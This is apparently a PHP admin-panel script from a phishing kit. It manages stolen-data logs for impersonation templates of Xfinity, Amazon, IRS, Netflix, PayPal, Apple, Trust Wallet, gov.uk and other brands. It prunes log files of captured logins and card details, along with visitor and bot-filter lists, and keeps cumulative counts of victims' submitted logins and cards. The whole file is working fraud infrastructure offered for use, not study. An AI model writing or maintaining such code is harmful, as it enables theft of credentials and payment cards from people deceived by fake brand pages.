<?php
session_start();
header('Content-Type: application/json');

// Check session
if (empty($_SESSION['access_token'])) {
    http_response_code(401);
    echo json_encode(['error' => 'Unauthorized']);
    exit;
}

// Get template from request
$template = $_GET['template'] ?? 'xfinity';
$templates = ['xfinity', 'amz', 'irs', 'netflix', 'spectrum', 'att', 'govUK', 'trustwallet', 'apple', 'breezeline', 'paypal', 'disney'];

if (!in_array($template, $templates)) {
    echo json_encode(['success' => false, 'error' => 'Invalid template']);
    exit;
}

// Get logs path based on template
function getLogsPath($template) {
    $paths = [
        'xfinity' => '../../../hzvQTruKBa/logs/',
        'amz' => '../../../secure/logs/',
        'irs' => '../../../secure-2/logs/',
        'netflix' => '../../../secure-3/logs/',
        'spectrum' => '../../../sspectrum/logs/',
        'att' => '../../../DXNEbwZqcG/logs/',
        'govUK' => '../../../MaIMTt67dp/logs/',
        'trustwallet' => '../../../cmrU0tg7dN/logs/',
        'apple' => '../../../zMEDH3rzcM/logs/',
        'breezeline' => '../../../KsR7xiySIj/logs/',
        'paypal' => '../../../U1IimACP7W/logs/',
        'disney' => '../../../irjBhq6Esw/logs/'
    ];
    return $paths[$template] ?? '../../../hzvQTruKBa/logs/';
}

$logsPath = getLogsPath($template);
$cutoffTime = time() - (24 * 60 * 60); // 24 hours ago

// All Time stats file (to preserve count even after deletion)
$allTimeStatsFile = __DIR__ . '/' . $logsPath . 'alltime_stats.json';

// Load existing All Time stats
$allTimeStats = [
    'human' => 0,
    'bots' => 0,
    'login' => 0,
    'card' => 0
];
if (file_exists($allTimeStatsFile)) {
    $existing = json_decode(file_get_contents($allTimeStatsFile), true);
    if ($existing && is_array($existing)) {
        $allTimeStats = array_merge($allTimeStats, $existing);
    }
}

$files = [
    'accept-ips.txt' => 'human',
    'denied-ips.txt' => 'bots',
    'login.txt' => 'login',
    'card.txt' => 'card',
    'ips.txt' => null // ips.txt doesn't count towards stats
];

$deletedCount = 0;
$totalLines = 0;
$deletedStats = [
    'human' => 0,
    'bots' => 0,
    'login' => 0,
    'card' => 0
];

foreach ($files as $file => $statType) {
    $filePath = __DIR__ . '/' . $logsPath . $file;
    
    if (!file_exists($filePath)) {
        continue;
    }
    
    $lines = file($filePath, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES);
    $newLines = [];
    $deleted = 0;
    
    foreach ($lines as $line) {
        $line = trim($line);
        if ($line === '') {
            $newLines[] = $line;
            continue;
        }
        
        // Extract timestamp from line (format: H:i:s m-d-Y|...)
        $parts = explode('|', $line);
        if (count($parts) > 0) {
            $timestampStr = trim($parts[0]);
            // Parse timestamp: "H:i:s m-d-Y" format
            $timestampStr = str_replace('-', '/', $timestampStr);
            $dateTime = DateTime::createFromFormat('H:i:s m/d/Y', $timestampStr);
            
            if ($dateTime !== false) {
                $timestamp = $dateTime->getTimestamp();
                // Keep if within last 24 hours
                if ($timestamp >= $cutoffTime) {
                    $newLines[] = $line;
                } else {
                    $deleted++;
                    // Add to All Time stats before deleting
                    if ($statType && isset($deletedStats[$statType])) {
                        $deletedStats[$statType]++;
                    }
                }
            } else {
                // Fallback: try alternative parsing
                $timestamp = strtotime($timestampStr);
                if ($timestamp !== false && $timestamp >= $cutoffTime) {
                    $newLines[] = $line;
                } else {
                    $deleted++;
                    // Add to All Time stats before deleting
                    if ($statType && isset($deletedStats[$statType])) {
                        $deletedStats[$statType]++;
                    }
                }
            }
        } else {
            // No timestamp, keep the line
            $newLines[] = $line;
        }
    }
    
    if ($deleted > 0) {
        file_put_contents($filePath, implode(PHP_EOL, $newLines) . PHP_EOL);
        $deletedCount += $deleted;
    }
    $totalLines += count($lines);
}

// Update All Time stats: tambahkan data yang dihapus (>24 jam) ke All Time
// Logic:
// - Today = data 24 jam terakhir (masih ada di file)
// - All Time = data yang sudah >24 jam (sudah dihapus dari Today)
// - Setiap cleanup, data yang dihapus (>24 jam) ditambahkan ke All Time stats
// - All Time adalah akumulasi data yang sudah "pindah" dari Today
$allTimeStats['human'] += $deletedStats['human'];
$allTimeStats['bots'] += $deletedStats['bots'];
$allTimeStats['login'] += $deletedStats['login'];
$allTimeStats['card'] += $deletedStats['card'];

// Save All Time stats
$allTimeDir = dirname($allTimeStatsFile);
if (!is_dir($allTimeDir)) {
    mkdir($allTimeDir, 0777, true);
}
file_put_contents($allTimeStatsFile, json_encode($allTimeStats, JSON_PRETTY_PRINT));

echo json_encode([
    'success' => true,
    'deleted' => $deletedCount,
    'total' => $totalLines,
    'template' => $template,
    'alltime_stats' => $allTimeStats
]);

